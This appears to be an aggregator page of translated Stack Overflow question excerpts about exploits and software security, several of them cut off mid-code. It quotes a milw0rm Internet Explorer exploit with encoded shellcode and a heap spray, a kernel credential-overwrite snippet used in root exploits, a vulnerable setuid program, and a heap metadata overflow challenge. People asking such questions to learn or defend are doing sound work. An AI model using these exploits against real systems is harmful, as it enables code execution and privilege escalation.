我通常没有阅读JavaScript脚本的困难,但这个我无法弄清楚逻辑.该代码来自于4天前发布的漏洞利用程序.你可以在milw0rm找到它.
这是代码:
<html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");
do {
spray += spray;
} while(spray.length < 0xd0000);
memory = new Array();
for(i = 0; i < 100; i++)
memory[i] = spray + shellcode;
xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
tag …
Run Code Online (Sandbox Code Playgroud) 今天我在Facebook上的Chrome控制台"摇摇晃晃".
令人惊讶的是,我在控制台中收到了此消息.
现在我的问题是:
这怎么可能?
我知道控制台有一些"漏洞利用"方法,但是如何在控制台中进行这种字体格式化呢?(它是console.log吗?)
如果是,为什么还有那么多成功的SQL注入?仅仅因为一些开发人员太愚蠢而无法使用参数化语句?
关于已确定的Log4j JNDI远程代码执行漏洞CVE-2021-44228 -(另请参阅参考资料) - 我想知道Log4j-v1.2是否也受到影响,但我从源代码审查中得到的最接近的是JMS -附加程序。
\n问题是,虽然互联网上的帖子表明 Log4j 1.2 也存在漏洞,但我无法找到它的相关源代码。
\n我是否遗漏了其他人已经发现的东西?
\nLog4j 1.2 似乎在套接字服务器类中存在漏洞,但我的理解是,它需要首先启用才能适用,因此与识别的 JNDI 查找漏洞不同,它不是被动威胁似乎。
\n我的理解 - Log4j v1.2 - 不容易受到 jndi-remote-code 执行错误的影响是否正确?
\nCloudflare 的这篇博文也表明了与AKX相同的观点......它是从 Log4j 2 引入的!
\n更新 #1 - …
在获取root shell的一些漏洞中,我经常看到这样一个指针:
int i;
unsigned *p = *(unsigned**)(((unsigned long)&i) & ~8191);
Run Code Online (Sandbox Code Playgroud)
任何人都可以解释一下这个指针吗?我认为8191是内核堆栈的大小.p
指向内核堆栈的底部?以下是指针p
的使用方法:
int i;
unsigned *p = *(unsigned**)(((unsigned long)&i) & ~8191);
for (i = 0; i < 1024-13; i++) {
if (p[0] == uid && p[1] == uid &&
p[2] == uid && p[3] == uid &&
p[4] == gid && p[5] == gid &&
p[6] == gid && p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = …
Run Code Online (Sandbox Code Playgroud) "普通人不想自由.他只是想要安全." - HL Menken
我正在尝试编写非常安全的C.下面我列出了一些我使用的技术,并且询问它们是否像我认为的那样安全.请不要犹豫将我的代码/先入之见撕成碎片.任何能找到最微不足道的漏洞或者教我一个新想法的答案都会受到高度重视.
根据GNU C编程教程 getline:
getline函数将根据需要通过realloc函数自动扩大内存块,因此永远不会缺少空间 - 这是getline如此安全的一个原因.[..]请注意,无论多长时间,getline都可以安全地处理您的输入线.
我假设getline应该在所有输入下防止从流中读取时发生缓冲区溢出.
如果malloc遇到错误,malloc将返回NULL指针.这会带来安全风险,因为仍然可以将指针算法应用于NULL(0x0)指针,因此维基百科推荐
/* Allocate space for an array with ten elements of type int. */
int *ptr = (int*)malloc(10 * sizeof (int));
if (ptr == NULL) {
/* Memory could not be allocated, the program should handle
the error here as appropriate. */
}
Run Code Online (Sandbox Code Playgroud)
当使用sscanf时,我已经养成了将要提取的字符串分配给输入字符串大小的习惯,希望避免出现溢出的可能性.例如:
const char *inputStr = "a01234b4567c";
const …
Run Code Online (Sandbox Code Playgroud) #include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
system("/usr/bin/env echo and now what?");
}
Run Code Online (Sandbox Code Playgroud)
我理解它的方式,上面的代码允许任意代码(或程序)执行 - 什么使这个易受攻击,以及如何利用这一点?
今天,在线安全是一个非常重要的因素.许多企业完全基于网络,只有使用您的网络浏览器才能查看大量敏感数据.
寻求知识以保护我自己的应用程序我发现我经常测试其他应用程序的漏洞和安全漏洞,可能仅仅是为了好奇.通过测试自己的应用程序,阅读零日攻击以及阅读"Web应用程序黑客手册:发现和利用安全漏洞"一书,我对这一领域的了解已经扩展,我开始意识到大多数在线Web应用程序都是真的暴露在很多安全漏洞中.
所以你会怎么做?我没有兴趣摧毁或破坏任何东西,但我最大的"突破"黑客攻击我决定提醒页面的管理员.我的询问被及时忽略了,安全漏洞尚未解决.他们为什么不想修理它?在有意图的人打破旅馆并选择摧毁一切之前,会有多长时间?
我想知道为什么现在没有更多关注这一点,我认为实际提供测试Web应用程序的安全漏洞会有很多商机.只是我有一个太大的好奇心,还是有其他人经历过同样的事情?挪威的法律实际上是试图闯入网页,即使您只是查看源代码并在那里找到"隐藏密码",使用它进行登录,您已经违法了.
我想分析使用编码的PDF文件中的流对象/FlateDecode
.
是否有任何工具可以解码PDF中使用的此类编码(ASCII85decode,LZWDecode,RunlenghtDecode等)?
流内容很可能是PE文件结构,PDF可能稍后将在漏洞利用中使用.
此外,xref
PDF中有两个表,这是正常的,但也有两个%%的EOF xref
.
这些存在是否正常?(注意:第二个xref
指向xref
使用/prev
名称的第一个.
这xref
指的是第二个xref
:
xref 5 6 0000000618 00000 n 0000000658 00000 n 0000000701 00000 n 0000000798 00000 n 0000045112 00000 n 0000045219 00000 n 1 1 0000045753 00000 n 3 1 0000045838 00000 n trailer > startxref 46090 %%EOF
第二个xref
:
xref 0 5 0000000000 65535 f 0000000010 00000 n 0000000067 00000 n 0000000136 00000 n 0000000373 00000 n trailer > startxref …
我一直在努力学习堆溢出攻击的基础知识.我最感兴趣的是使用损坏或修改块元数据作为攻击的基础,但我也对其他建议持开放态度.我知道我的利用目标应该是用printf()
函数指针覆盖challenge()
函数指针,但我似乎无法弄清楚如何实现该写入.我有以下要利用的代码,它使用的malloc
是glibc 2.11.2
:
void challenge()
{
puts("you win\n");
}
int main(int argc, char **argv)
{
char *inputA, *inputB, *inputC;
inputA = malloc(32);
inputB = malloc(32);
inputC = malloc(32);
strcpy(inputA, argv[1]);
strcpy(inputB, argv[2]);
strcpy(inputC, argv[3]);
free(inputC);
free(inputB);
free(inputA);
printf("execute challenge to win\n");
}
Run Code Online (Sandbox Code Playgroud)
显然,实现对分配的块的元数据的实际覆盖是微不足道的.但是,我还没有找到使用任何标准技术来利用此代码的方法.我已阅读并试图实施以下技术:
unlink
技术已经过时了一段时间.我最初试图通过操纵inputC的块的大小值来利用此代码,以便它指向inputC块的头部.当这不起作用时,我尝试进一步指向inputB的块.那时我意识到新的glibc会对大小值进行健全性检查.
如果用户能够将分配的块的元数据编辑为任意值,并使用它来覆盖GOT中的值或写入任何其他任意地址,那么用户如何利用免费利用漏洞利用?
注意:当我写"任意地址"据我所知,内存页面可能是只读或受保护的,我的意思是我可以假设我可以写一个地址.